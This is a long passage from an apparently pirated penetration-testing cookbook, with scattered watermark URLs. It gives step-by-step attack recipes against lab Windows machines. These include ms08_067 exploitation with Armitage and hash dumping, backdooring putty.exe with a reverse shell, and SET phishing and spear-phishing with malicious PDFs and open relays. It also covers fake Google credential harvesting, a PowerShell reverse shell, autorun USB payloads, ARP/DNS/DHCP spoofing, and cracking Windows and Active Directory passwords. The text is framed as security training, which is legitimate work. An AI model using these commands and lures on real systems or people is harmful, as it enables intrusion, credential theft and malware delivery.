- Don't do it. It's noisy and will just throw everything after a target. It
might be useful in a lab situation if you have a sample VM you are looking
for exploits in, but for a live network or across the Internet, it will be seen
very easily and is typically just an indication of the lack of experience and
skill of the tester.
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Advanced attacks with Armitage
In this recipe, we will now perform an advanced attack with Armitage against a
Windows XP machine. We will perform several different functions such as initial
exploitation, VNC access, downloading, and viewing files.
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Getting started
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Make sure Armitage is running
Make sure at a minimum the Windows XP VM is running - feel free to turn on other
target hosts as you wish

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


||||||||||||||||||||

Hiva-Network.Com

https://technet24.ir
https://technet24.ir
https://technet24.ir
http://www.hiva-network.com/


How to do it...
From our Armitage screen, let's select the Windows XP VM for this section.
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Initial exploitation
We will perform an initial exploitation of our windows VM:

1. Right-click on the Windows XP VM, and select Attack | smb | ms08_067_netapi:

Armitage attack options

2. Make any modifications necessary including changing the LHOST if needed to the
IP address on the VM network. Once ready, click on Launch:
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Armitage attack dialog box

3. You will now see that the Windows XP VM machine device's icon has been
changed to again identify that this machine has been owned.

Armitage main screen with indication of exploited device
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Dump hashes
We will now perform a password hash dump of the windows VM:

1. Let's now dump the user hashes, so we can crack them later and use them as part of
other exploits. Start by right-clicking on the Windows XP VM, and you will see a
new option. Select Meterpreter 3 | Access | Dump Hashes | registry method; at the
next screen, select Launch.

2. You will now see the hashes dumped to the screen, and they will also be saved in
our loot store. Also, take a look through the output file; and you will see that
password hints were also dumped. Jane Doe's password hint is jane123 - Could that
be her password?

armitage hashdump output

3. If you close the dump hashes window, you can go back in and click on View | Loot;
and double-click on the host to see the hashes.
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Interacting with the Windows machine
We will now open a command shell to interact with the Windows VM directly:

1. Right-click on the Windows XP VM, and select Meterpreter 3 | Interact | Command
Shell.

2. Try running some Windows commands, and see what you get back:

dir 
cd / 
dir

3. Now, let's start VNC and see what we can do from the desktop. Right-click on the
Windows XP VM, and select Meterpreter 3 | Interact | Desktop (VNC). You will be
presented with a screen similar as follows. Note the port number for this VNC
session:

Armitage VNC bind information box

4. Let's now click on our terminal icon from the left. 
5. Enter the following command from the shell:

vncviewer 127.0.0.1::5913

6. You will now be brought to the Windows XP machine:
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VNC view of Windows XP VM
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Browsing the target's files
We will now browse the file system of the Windows machine:

1. Right-click on the Windows XP VM, and select Meterpreter 3 | Explore | Browse
Files. You will be presented with a familiar file browsing interface:

Armitage browse files screen

2. You will see that you can browse and change directories. You can create
directories and upload files; and if you right-click on a file, you will have other
options such as view and download. Download a couple of files, and then go to
View | Downloads to see them:
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Armitage downloaded files screen
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There's more...
We will be covering topics such as cracking the user password in Chapter 6, Password
Cracking and persistence in Chapter 10, Maintaining Access. You may want to go do those
recipes now, as they are a continuation of where we are now.
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Using the backdoor factory and
Armitage
We will use the backdoor factory and Armitage in combination to compromise a target
system. The backdoor factory is a tool that can insert exploit code to a Windows
executable file. This is great when you are trying to exploit a user through them
downloading software, or even through physical attacks such as dropping USB keys.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Armitage is running
Your Windows XP VM is running
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How to do it...
We will now use Backdoor Factory to insert exploit code into an executable:

1. First, let's browse and find a popular software package that a user might want to
download or may seem benign or enticing. In our case, let's go out and grab putty.
Every network admin has probably used putty at some point in the past. Open

Firefox  and browse to www.putty.org. From this site, download putty.exe (32 bit
version); and save the file in your Downloads directory.

You will have to scroll down a bit on the page to find the EXE file - do
not use the MSI file for this exercise.

2. Open terminal  and enter the following. We will first make an exploit
directory, and then copy the putty.exe file to that directory:

cd
mkdir exploit
cp ~/Downloads/putty.exe ~/exploit/

3. Next, let's take an initial run of backdoor factory and see what we have available
to insert into putty.exe:

backdoor-factory -f ~/exploit/putty.exe <enter>
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Backdoor factory output screen for available shell code

4. Note the options that are available to use with this executable file. We will go
ahead and select reverse_shell_tcp_inline, use the IP of our Kali machine, and use a
port number by entering the following command. During the execution of the
command, you will be asked a question about where you can inject the code; let's
simply select 1:

backdoor-factory -X -f ~/exploit/putty.exe -s reverse_shell_tcp_inline -H 192.168.56.10 -P 8123
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Backdoor factory successfully adding shell code to putty.exe file

Note that we used a -X for a command-line option for backdoor factory.
The -X option indicates that this file should be allowed to run on Windows
XP. Also don't give up if the first time you try building the exploit it fails.
If you have problems try other options and vectors. As software is updated
often your results may not work exactly as mine did. This is expected.

5. Now, we will see a new backdoored directory in our Home directory that has putty.exe
with the exploit in it. Move that file to your Windows XP machine, but don't run it
yet.

6. Start Armitage and go to the main screen. From the dropdown directory on the left,
select exploit | multi | handler, and click on it:
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Armitage handler menu

7. You will be brought to a dialog screen, so select the proper IP and port number that
corresponds to what we enter for the information before. In our case, it is the Kali
machine with an IP of 192.168.56.10; and we used a port of 8123. Click on Launch:

Armitage launch dialog screen

8. You will see the handler launch; note at the top that your Windows XP machine
appears normal:
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Armitage output screen

9. Now, launch putty.exe on your Windows VM:
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Windows XP running exploited putty.exe file

10. Note that your Windows XP Machine icon will now change to show that it has
been exploited; and you will also see that the session has opened from the console
output:
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Armitage screen showing successful connection and exploited device icon

11. If you right-click on the Windows XP machine, you can select Shell
1 | Interact. You will then be dropped into a shell screen to do as you wish:
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Armitage showing command shell screen
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Social Engineering
In this chapter, we will cover the following topics:

Phishing attacks
Spear-phishing attacks
Credential harvesting with SET
Web jacking
PowerShell attack vector
QRCode attack vector
Infectious media generator
Obfuscating and manipulating URLs
DNS spoofing and ARP spoofing
DHCP spoofing
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Introduction
Social Engineering is a unique aspect of penetration testing. Social Engineering can be
employed through electronic means, as we will see in the upcoming recipes. However,
Social Engineering is also used in physical penetration testing and even data gathering.
It becomes an art about human nature and cultural norms. We bend well-known natural
tendencies to help us accomplish or obtain what we want.
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Phishing attacks
Phishing attacks are attacks that are loosely targeted at any individual or any entity.
Their main value is one of mass distribution, hoping to get a small percentage of hits
across a large distribution. These are sometimes used in penetration testing and
targeting-specific domains owned by the client. These attacks are targeted specifically
at emails. And due to their large distribution, the attacks are often caught quickly across
many advanced email spam filtering companies. But it takes only one to get through and
be clicked on.

In this recipe, we will create and launch a generic phishing attack.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
You have some email accounts to use and/or preferably a lab SMTP server

||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


How to do it...
We will use the Social Engineering Tool (SET) to create a phishing attack:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Initial set toolkit screen

2. Select the top option: 1) Social-Engineering Attacks.
3. Select 5) Mass Mailer Attack.
4. Select 2) E-Mail Attack Mass Mailer.
5. The system will now ask you to select a file that includes an email list in the format

of one email address per line. Enter the path and filename to use. In my case, I have
a list prepared at /root/emaillist.txt:

SET mass mailer dialog screen

Building a list of email addresses is important and this is where the work
done in Chapter 2, Reconnaissance and Scanning plays an important role. If
you did a good job there, you should have a list of email addresses
already or at the very least, you will have a good idea of how they format
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their usernames for emails. Often you can use resources like LinkedIn to
add to the list of email addresses as well.

6. Now, we will be asked how we want to use our email attack, either through a
Gmail account or own server/relay. For our purposes, I am going to use a throw-
away Gmail account; however, in practice, I would typically use an open relay.
Select 1. Use a gmail Account for your email attack.

Never use a server or account that can be personally identifiable. The best
way is to use an open-relay. There are plenty of them out there if you look
for them. 

7. Enter your throw-away Gmail account: johndoe@example.com and press Enter.
8. Enter a name to use as the sender that the user will see: John Doe.
9. Enter the account password and press Enter.

10. Decide whether you want to send the message with high priority, and type yes or
no then press Enter.

11. Decide whether you want to attach a file. In my case, I want to attach a file with a
malicious payload. So, I will type y and press Enter.

12. I will attach my /root/salary.pdf malicious payload.

You need to either attach a malicious payload or a malicious link for the
phishing attack to work. Figure out what makes most sense for your test
and go forward with it. 

13. Enter an email subject. In my case, I am going to call it Salary Info.
14. I have the option to send as HTML or plain text. I am going to choose the plain text

for simplicity. Next, I will press Enter.

If you plan on embedding a malicious link, you must choose HTML. Most
users are accustomed to seeing HTML pages today that by sending as a
plain text may actually increase there suspicion that the email may be
farudulent. But for example purposes, it will work fine.

15. Now, enter the body of the message. I plan on keeping this very short and simple:

Hi Jane,
Here is the Salary Information you requested. 

Thanks 
John 
END 
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Hi 

16. It will then output the email addresses that the message was sent to.

It's very important to put time and energy into properly crafting the email
and the attachment or link, so you have more chances of it being
successful. Therefore, double check for spelling and grammar issues.
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Spear-phishing attacks
Spear-phishing attacks are specifically targeted at an individual or entity. Their main
value is that they are targeted at a small group of users. These are quite often used in
penetration testing, targeting specific email addresses of the client. You must spend
more time in researching the client by gathering information, such as email signatures,
logos, and understanding what the communications from the customer may look like.
Often, you may register a look-a-like domain that may seem familiar when they see the
from message. 

In this recipe, we will create and launch a targeted spear-phishing attack.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
You have some email accounts and/or preferably a lab SMTP server
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How to do it...
We will now use set to create a spear-phishing attack:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Initial setookit screen

2. Select the top option: 1) Social-Engineering Attacks.
3. Select 1) Spear-Phishing Attack Vectors.
4. Select 1) Perform a Mass Email Attack.
5. From here, we will have several optional attack vectors that we can use. Pick a

suitable one based on the email you will be sending, and what you believe the
customer has and uses for the software. For our testing purposes, we will use 13)
Adobe PDF Embedded EXE Social Engineering.

6. So, this will embed the attack either in a provided PDF or a blank PDF. For our
test purposes, we will simply use 2) Use built-in BLANK PDF for attack.

When penetration testing with spear-phishing, you may have some desired
outcomes in mind. However, it's important to remember that one of those
outcomes is to avoid raising suspicions. Because of this, the more the
email seems appropriate in its entirety, the better off you are. Say, if you
were doing this in a healthcare situation, you could download some
HIPAA regulations in a PDF format, insert the malware, and send it to the
appropriate people in the organization. When they open it, they will see
what they expect, therefore helping you to mask the fact that they were just
and not alerting them to an issue.

7. Next, you have several options for the return callback to you. Reverse shell or
reverse meterpreter are always good options. Select 1) Windows Reverse TCP shell.
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8. We will set the IP address of our Kali box. Use your appropriate IP address; in my
case, I will use 192.168.56.10.

9. Set the port to connect back on. For test purposes, I will use 8123.
10. Select 2. Rename the file, I want to be cool. And rename the file to something

appropriate for the context of use.
11. For this, we will just select 1. E-Mail attack Single email address.
12. Select 1. Pre-Defined Template.

In most cases, you will want to create your own template for this, but, as
we did that in the phishing attacks recipe, you can refer back for more
information. Also, most spam engines know the format of these built-in
templates, so the attacks will be thwarted with relative ease.

13. Pick an available template. 3: Have you seen this? will be fine for our example.
14. Enter the address to send the email to johndoe@example.com.
15. In this case. let's see if we can find an open relay to bounce it off. Do some

searching on Google, or you can try to use your ISP email server for this. Select 2.
Use your own server or open relay.

If you cannot find one, you can revert to a Gmail account and use the steps
as outlined in recipe 5.1.

16. Enter appropriate sender address: Janedoe@example.com.
17. Enter appropriate sender name: Jane Doe.
18. If you require a username for your relay server, you can enter the user information

as appropriate. I will leave mine blank.
19. If you require a password for your relay server, you can enter the password

information as appropriate. I will leave mine blank.
20. Enter the mail server address or Fully Qualified Domain Name (FQDN).
21. Enter the port number for the SMTP service of the relay. I will leave mine at 25.
22. I will select No to flag the message as high priority.
23. Lastly, does my server support TLS? For this, I will select No as well.
24. From here, you will automatically be given the option to set up a listener, and it

will autolaunch the msfconsole and set the appropriate listener for you. Since I like
Armitage, I will open my listener through it. 

Refer back to recipe in Chapter 4, Finding Exploits in the Target of Basic
exploit attacks with Armitage and Advanced attacks with Armitage on
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how to open listeners in Armitage.

25. I open the PDF from the email, and I will see a blank PDF. But notice that in my
Armitage console, it will now show a connection to the Windows XP machine.

I downloaded and used an older version of Acrobat Reader on my
Windows XP machine.

Windows XP machine with hipaaregs.pdf opened
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Kali Linux Armitage handler screen indication XP machine connected

Again, many AV and SPAM engines are familiar with these attacks, and
there will be a high rate of detection, unless you really spend some time in
crafting the messages well and creating your own customized payload to
get through the detection engines.

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


Credential harvesting with SET
Credential harvesting can be used with many different types of attacks, but the ultimate
goal is to make the user believe he has reached the site that he was trying to get to, such
as Facebook or Google, and steal their credentials when they attempt to log in.

In this recipe, we will mimic a site and perform credential harvesting for accounts for
that site.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Move the interface from one of your Windows test machines to the NAT network
temporarily
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How to do it...
We will now impersonate a real web site to gather credentials:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Initial setoolkit screen

2. Select the top option, 1) Social-Engineering Attacks.
3. Select 2) Website Attack Vectors.
4. Select 3) Credential Harvester Attack Method.
5. Select 1) Templates.

 

6. You will then be asked for the IP address of the post. Enter the IP address of Kali
on the NAT network. You can open another terminal window and do ifconfig. I will
enter 10.0.2.4:
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ifconfig output of Kali machine

7. We will be given a list of predefined templates, so let's use 2. Google.
8. The harvester will automatically launch and be displayed on your screen.

 

9. From the Windows machine, log in and browse to the IP address of your Kali
device as previously entered:
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Fake Google login page

10. You get a very familiar looking login screen; however; up at the top, it provides an
IP address versus Google. 

So, to make this more believable, you would want to hide the IP address.
Do you have any thoughts? There are two options. Firstly, if you have
previously compromised the device, you could modify the host file;
alternatively, you could use DNS/DHCP spoofing.

11. Enter test credentials and click on Sign in:
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Fake login screen

12. Notice that, on the Windows machine, you will be redirected to Google. However,
look at SET, and notice we harvested the credentials:

Set output of credentials

13. Type Control-C and press Enter; this will return you to the SET console.
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Web jacking 
Web jacking is a method where the user will be presented with a website saying the site
has moved, and when they are redirected, they have malware inserted in the
browser/computer. 

In this recipe, we will web jack a site.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Move the interface of one of your Windows test machines to the NAT network
temporarily
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How to do it...
We will now perform web jacking by simulating a site redirect:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Initial setookit screen

2. Select the top option, 1) Social-Engineering Attacks.
3. Select 2) Website Attack Vectors.
4. Select 5) Web Jacking Attack Method.
5. We will select 2) Site Cloner.
6. Enter the IP address of the post again. In this case, my IP of 10.0.2.4.
7. Enter the URL site you want to clone. A sample site you can use is http://us-123hiking.sim

plesite.com/.
8. This system will automatically clone the site and start the msfconsole.
9. From here, open one of your Windows VM. I will use the Windows 7 machine and

browse to http://10.0.2.4:

||||||||||||||||||||

||||||||||||||||||||

http://us-123hiking.simplesite.com/
https://technet24.ir
https://technet24.ir


Fake website screen

10. I see a link up at the top, so I click on it to open the dialog:

Run dialog box

11. Then, I click on Run from the machine.
12. From there, if I go back to Kali, I will see a new session has been opened:
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MSF exploit session connected screen

13. Type sessions 1 and press Enter at the msf > prompt to attach you to the computer.
14. Type sysinfo and press Enter to get access to the system.
15. From here, you can try some other commands in the msfconsole to play around, but, at

this point, you have access to the PC.
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PowerShell attack vector
In this recipe, we will use PowerShell to connect back to our Kali host. PowerShell has
been included with Windows Vista and beyond and has become a very popular attack
vector due to the capabilities of the shell. We will not focus on how to get the script
there, as we have covered options in other recipes; this will just focus on creating the
malicious payload.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Move the interface of one of your Windows test machines to the NAT network
temporarily
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How to do it...
We will now use PowerShell to attack a host:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Initial setoolkit screen

2. Select the top option, 1) Social-Engineering Attacks.
3. Select 9) Powershell Attack Vectors.

 

4. Select 2) Powershell Reverse Shell.
5. Enter the IP address of your Kali host 192.168.56.10.
6. Enter the listener port 8123.
7. Select No when asked to start a listener, as we will use Metasploit for that.
8. A file will be created in the following

location ~/.set/reports/powershell/powershell.reverse.txt. Move this file to the Windows
machine, and change its extension from TXT to PS1.

9. Since we will use the msfconsole for our listener, let's get it prepared by entering the
following commands in a terminal window. We will use our Kali Linux host-only,
IP address of 192.168.56.10, and our listener port of 8123:

cd 
service postgresql start 
msfconsole 
handler -p generic/shell_reverse_tcp -H 192.168.56.10 -P 8123 
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MSF initialization screen

10. From your Windows 7 machine, open a Command Prompt, and type the following:

powershell -ExecutionPolicy Bypass -file c:\share\powershell.reverse.ps1

PowerShell output

11. You will notice that we now have a connection on session 1, so let's open it by
typing sessions 1. From here, we can enter a simple command like dir to get a
directory listing:
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Dir output from msf
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QRCode attack vector
In this recipe, we will generate a QRCode for a site that we own, to harvest credentials.
This can be sent through various means such as email, Facebook, twitter post, or even
by using it as part of a flyer that you leave on target vehicles. We will send this QRCode
to our target.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
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How to do it...
We will create a QRCode which redirect to a website:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Initial set toolkit screen

2. Select the top option 1) Social-Engineering Attacks.
3. Select 8) QRCode Generator Attack Vector.
4. Enter the malicious URL; for our test purposes, we will simply enter

www.packtpub.com.
5. It will generate the image file and provide the location.
6. Open the image file on your Kali VM, like so: 

Generated QRCode

7. Most phones will scan this image and take you to the website indicated.

Apple iOS requires a third-party app - however, it is supposed to be
included in iOS 11. 
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There's more...
Alone this attack may seem meagre, but it is a very effective attack. First, you can pretty
much design any website you want and use it to capture credentials. Think about putting
flyers in a company parking lot that says scan this QRCode and sign up to get a free 5.00
gift card to Starbucks. How many of those people do you think you can get significant
information on? 
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Infectious media generator
In this recipe, we will build an infectious file that can be put on USBs, CDs, or DVDs.
We will generate a malicious payload that will autorun when entered into a victim PC.
We will simulate the execution; however, if you have physical test machines, it is much
easier to test.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Windows VM is up and running
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How to do it...
We will build our infections media:

1. From the Applications menu, select Social Engineering Tools | SET Social
Engineering Toolkit. You will be presented with the following screen:

Initial setookit screen

2. Select the top option 1) Social-Engineering Attacks.
3. Select 3) Infectious media generator.
4. Select 2) Standard Metasploit Executable.
5. Let's use 2) Windows Reverse_TCP Meterpreter.
6. For the LHOST, use the IP address of your Kali machine 192.168.56.10.
7. Enter the port for callback 8123.
8. It will then generate the payload. Go ahead and start a listener right now:

Payload generation output

9. From here, we have an autorun option that we can burn to a DVD or CD or put on a
USB. This is a bit difficult to simulate with our virtual machines, so we will
simply copy the program.exe file from ~/.set/autrun/program.exe and put it on our
Windows 7 test machine to run it.

10. From your Windows machine, open the program.exe file simulating an autorun
execution. Notice that, upon running it, there are no visible signs of execution. This
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would be the same if it was autorun from a USB stick: 

Payload execution on Windows VM

11. From our Kali machine, you will notice that we have a new session connected.
Type sessions to see the connected devices:

MSF session connected
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12. Enter sessions 1, and from here, we are now connected to our target machine in a
meterpreter session; to validate our connection, we type sysinfo:

MSF sysinfo output
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There's more...
This is a great attack to use with USB sticks. If you are actively working with a
company on a penetration testing engagement you can spread them around the company
entrances and parking lots. There is a high likelihood that at least a few of them will be
plugged in giving you access to the target network.
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Obfuscating and manipulating URLs
Obfuscating and manipulating URLs has long been used to assist in tricking an end user
into clicking on a malicious site. These could be through various techniques such as
using URL shortening, hiding the URL, using the IP address, and other functions. This
can be used in emails or other types of interactive documents.

In this recipe, we will examine a couple of methods to obfuscate or manipulate URLs.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
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How to do it...
We will now review several methods of obfuscating URLS:
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URL shortener
Let's work with a URL shortener first:

1. From you main Kali screen, open a Firefox browser. 
2. Go to the https://goo.gl link. Enter a URL you want to shorten. The following is an

example I'm using:

https://www.nytimes.com/2017/05/15/technology/personaltech/heres-how-to-protect-yourself-from-rans
omware-attacks.html

3. Select I'm not a Robot and click on SHORTEN URL:

4. You will get an output with a shortened URL; in my case, it is goo.gl/0Dhuon. When
you enter that into your browser, you will be taken to the original link. 
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URL manipulation
Know we will manipulate a URL:

From your main Kali screen, open a Firefox browser. 

There is a method of using the @ sign in a URL to help fake the IP address. In your
browser, try entering http://www.gooogle.com@www.packtpub.com. Depending on your browser,
you may or may not get an error message. For instance, try this in Firefox and then in
Chrome. Anything before @ is assumed to be login credentials for the website that
follows the @ sign. If the site does not require authentication, you will be taken directly
in.

At the time of the writing this book, you will get a confirmation in one, and
automatically be redirected in the other.
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Simple URL link misdirections
We will use a URL link redirection attack:

1. From within Kali, open up a document editor. I will use Google Docs.
2. Type in a simple phrase such as Please signup at facebook.com for the promotion:

3. Highlight facebook.com and right-click on it and select Link... :
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4. Enter a different URL for the link address, and click on Apply:

5. Now, if the link is clicked, it will forward you to the target website, as opposed to
the website displayed:
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There's more...
These methods of obfuscation combined with websites, emails, documents, and PDF
documents can be extremely tricky for users. Often, they are so quick to click, they don't
realize they are being taken to the wrong site. If you combine this with registering
domain names that are close to the target domain, they are very often overlooked by the
end user.

Take an example of google.com being redirected to one of the following--g00gle.com,
goog1e.com, and goog1e.com. Often these will easily be overlooked by the casual user, and
you can have lookalike sites. 
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DNS spoofing and ARP spoofing
In this recipe, we will discuss how to perform DNS and ARP spoofing. In several of
our past recipes, we have shown website attacks that utilize an IP address for the attack
—the IP of the Kali machine. However, in real attacks, this may easily be spotted. The
whole point of the attack is to make it appear as if they are going to the proper site and
making it appear as real as possible. The first part of this process is to perform DNS
spoofing.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running, and you are logged in as root
Move the interface from one of your Windows test machines to the NAT network
temporarily

||||||||||||||||||||

https://technet24.ir
https://technet24.ir
https://technet24.ir


||||||||||||||||||||

||||||||||||||||||||

https://technet24.ir
https://technet24.ir


How to do it...
We will now use ARP spoofing to redirect a user to a fake website:

1. Open up a new terminal window by clicking on the following icon. 
2. We need to ensure promiscuous mode is on for the interface we are using, and we

all need to ensure that IP forwarding is turned on. We need to create a host file to
spoof a particular site or set of sites. As we have used a hiking site in several of
our testing examples, we will spoof us-123hiking.simplesite.com, and send it to
10.0.2.4, which is the IP address of my Kali box on eth0. Enter the following
commands:

cd 
ifconfig eth0 promisc
echo 1 > /proc/sys/net/ipv4/ip_forward
touch fakehost.txt
echo '10.0.2.4 us-123hiking.simplesite.com' > ~/fakehost.txt

3. Now, we have to basically become a man in the middle; we will do this by ARP
spoofing the router IP address (default gateway) of 10.0.2.1 and ARP spoofing the
victim IP of our Windows machine 10.0.2.5. Then, start dnsspoof using the host file
we just created:

arpspoof -t 10.0.2.1 10.0.2.4 > /dev/null 2>&1 & 
arpspoof -t 10.0.2.5 10.0.2.4 > /dev/null 2>&1 & 
dnsspoof -f ~/fakehost.txt 

It may take minutes for the ARP spoofing to take place, so be patient; it
may help to not start your Windows machine until everything has been set
up accordingly. Also, you may want to check that all of the interfaces from
a VirtualBox perspective are in a promiscuous mode.

4. Open your Windows test machine, and open a Command Prompt. Enter the
following commands. You will note that the hiking site will be pointed to our Kali
box:

ipconfig /flushdns 
ping www.yahoo.com 
ping us-123.hiking.simplesite.com 
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Windows command ping output

Terminate your Kali terminal session, flush the DNS of your Windows
machine, and retry the test. You should now be going to the real IP address
of us-123.hiking.simplesite.com.
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DHCP spoofing 
In this recipe, you will learn about DHCP spoofing.

DHCP spoofing can be used to route all packets through your Kali box or can be used to
push your DNS servers to the hosts on the network. This attack actually has a lot to do
with timing. It's important to note that this attack will not always work, as there is the
true DHCP server on the network and our DHCP spoofing server. The way DHCP
works is that the first response received by the victim is the one it will use irregardless
of how many responses it receives. So, the hope is that your response to their request
will beat the official DHCP server.
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Getting ready
Let's ensure the following prerequisites:

Kali Linux is running and you are logged in as root
Windows system is shut down
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How to do it...
We will now perform DHCP spoofing on the network:

1. Open up a new terminal window by clicking on the following icon. 
2. We need to ensure promiscuous mode is on for the interface we are using, and we

all need to ensure that IP forwarding is turned on. Then we will start ettercap in the
GUI Mode:

ifconfig eth0 promisc 
echo 1 > /proc/sys/net/ipv4/ip_forward
ettercap -G

3. From the ettercap main GUI screen, we want to start sniffing traffic. Click on Sniff |
Unified sniffing. Then, select the interface we will use. For test purposes, we will
use our host-only interface of eth1 and click OK:

ettercap main screen

4. From here, we will have a new option to select MITM | DHCP spoofing... .
5. Enter an IP pool. In this case, I will use a range on our host-only network of

192.168.56.100-192.168.56.110, a subnet mask of 255.255.255.0, and the DNS server
address of 192.168.56.10, which is the IP address of my Kali VM. Click on OK:
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ettercap mitm dhcp spoofing dialog box

6. Now, start your Windows system, open a Command Prompt, and enter the
following. Notice the IP address provided is in the range we specified, and you
can also see in ettercap that the response was provided from there:

ipconfig

Windows ipconfig output

So a couple of things to note. You will notice that the default gateway is
not populated. This is because we do not have a default gateway on the
host-only network. Also, since you have no default gateway, you will not
forward the traffic off net. 
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There's more...
This scenario is much easier to test out using physical machines versus virtual machines
based on our test environment. If you want to see a better example of this, try connecting
your Kali machine on a segment with a physical host that can talk to the internet.
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Password Cracking
In this chapter, we will cover the following topics:

Resetting local Windows machine password
Cracking remote Windows machine passwords
Windows domain password attacks
Cracking local Linux password hashes
Cracking password hashes with a wordlist
Brute force password hashes
Cracking FTP passwords
Cracking Telnet and SSH passwords
Cracking RDP and VNC passwords
Cracking ZIP file passwords
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Introduction
Password cracking has its own uses, often times you may be able to access and recover
password databases but they are encrypted and on other times to escalate privilege or
gain access, you may have to use a password attack.
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Resetting local Windows machine
password
In this recipe, we will crack the local Windows machine passwords with direct access
to the computer.

In this recipe, we will also simulate booting off a CD-ROM in order to reset the local
password.
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Getting ready
Let's ensure the following prerequisites:

Your Windows workstation is powered down
You have recently downloaded the Kali ISO
Have a local standard user on the Windows workstation with a password
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How to do it...
We will now reset the Windows password using Kali boot media:

1. With your Windows machine off, start by going into VirtualBox, click on the
Windows VM, and click on Settings:

VirtualBox machine screen

2. From the Settings menu click on Storage. Click on the CD-ROM drive and choose
the Kali ISO you recently downloaded. Then click OK:
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VirtualBox machine storage settings

3. Now start your Windows VM and it should automatically load the Kali CD. From
the main menu select Live (forensic mode).

Watch the screen carefully depending on what operating system you are
working with, you may be asked to boot off the CD. 
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Kali boot screen

4. Once Kali is running open your terminal screen. 
5. You must change to the directory of your mounted Windows volume. Your ID of the

drive will be different from mine but follow the following steps to find it:

cd /media/root
ls

6. From the listed directory contents you will probably just have the one drive – use
the cd command to make that the active drive. Once in the directory use the
following commands:

cd Windows/System32/config
chntpw -l SAM
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Kali SAM output

7. You will now see a list of users and whether or not they are an admin. Let's reset
UserA password and make it an admin on the system:

chnt -u UserA SAM

8. You will now be brought to a configuration screen. Select 1 and then 3, then select
Y when asked to do it. Next hit q to quit and select y to write the hive files back:

chnt user modify screen

9. To validate, type the following command and you will note that UserA is now an
ADMIN and has a *BLANK* password:

chntpw -l SAM 
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chnt show SAM screen

10. Power off the VM at this point and remove the ISO from the CD-ROM drive.
Lastly, start the VM. This time it should take you right to Windows. Click on your
user and you will be brought right in without requiring a password:

Windows 7 main login screen

11. If you go in and check your user account you will notice that UserA is now an
administrator:
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Windows 7 user administration screen
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Cracking remote Windows machine
passwords
In this recipe, we will crack a remote Windows machine password. In this case, we
will assume we have already launched the attack through Armitage and have taken the
hashes we need. Please refer to Chapter 4, Finding Exploits in the Target and the
Advanced attacks with Armitage recipe if needed.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
You have started Armitage up and it's running
You have collected the needed hashes already from the remote machine
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How to do it...
We will now break the password hashes of a Windows machine:

1. From the Armitage screen select Console | Credentials. Notice from our prior
attack, we have the hashes that we pulled off the Windows XP machine: 

Armitage screen

2. At the bottom select Crack Passwords.
3. From there you will be presented with an Option dialog. Scroll through it a bit and

see the options that are available to you. Without making any changes click
on Launch:
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Armitage implementation of John the Ripper

4. It will take a couple of minutes but ultimately you should be given the passwords
as per the following figure:

Armitage output screen
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There's more...
This attack uses John the Ripper to extract passwords. If for some reason it was not able
to crack your passwords in this run, we will be talking about further advanced
techniques and various options to make John the Ripper more effective. We will be
exploring this further as we continue through this chapter.
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Windows domain password attacks
In this recipe, we will try to crack the active directory database from a Windows
domain controller. We will assume you have already recovered the needed files, the
system file, and NTDS.dit files from the computer through other exploitation means.
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Getting ready
Let's ensure the following prerequisites:

Your Kali machine is powered up
Your domain controller has some sample accounts on it
You have collected the system file and the NTDS.dit files through other means
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How to do it...
We will now recover passwords from a windows domain controller:

1. Open up a terminal by clicking on the terminal icon. 
2. We need to install a couple of packages to assist us with the cracking of the Active

Directory (AD) Domain. Specifically, these are libexedb and ntdsxtract. 
3. If you do not already have a logon to GitHub, open your browser and go to

www.github.com and register as a user.
4. To download libexedb enter the following commands:

       cd 
       apt install autoconf automake autopoint libtool pkg-config 
       git clone https://www.github.com/libyal/libesedb.git 
       cd libesedb 
       ./synclibs.sh
       ./autogen.sh
       ./configure
       make install

For more detailed instructions or issues on installation refer to the
following site: https://github.com/libyal/libesedb/wiki/Building.

5. Now let's get the ntdsxtract scripts:

cd 
git clone https://www.github.com/csababarta/ntdsxtract.git

6. Let's change to the directory that contains the files we obtained from the domain
controller. In my case AD files, from here we will use esedbexport to parse and
extract the ntds.dit file:

cd ~/ADfiles
esedbexport -t ./actived ./ntds.dit 
ls -lai 
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Directory listing

7. Now let's see what files are in our new actived.export directory:

cd actived.export 
ls -lai 

Directory listing

8. Now we can extract the hashes and other data output tables that we can then use
with John the Ripper:
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python ~/ntdsxtract/dsusers.py ./datatable.3 ./link_table.5 ~/temp --passwordhashes --lmoutfile lm.out --ntoutfile nt.out --pwdformat john --syshive ~/ADfiles/SYSTEM 

HASH extraction

9. Now if we take a look in our temp directory we will see several files including the
two output files that we specified as lm.out and nt.out:

ls -lai ~/temp 

Directory listing

10. Now let's get ready to use john. One of the first things we need to do is make sure
the rockyou password file is unzipped. Then we will run john and see the output:

cd ~/temp 
john nt.out 
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john --show nt.out 

Output of cracked passwords

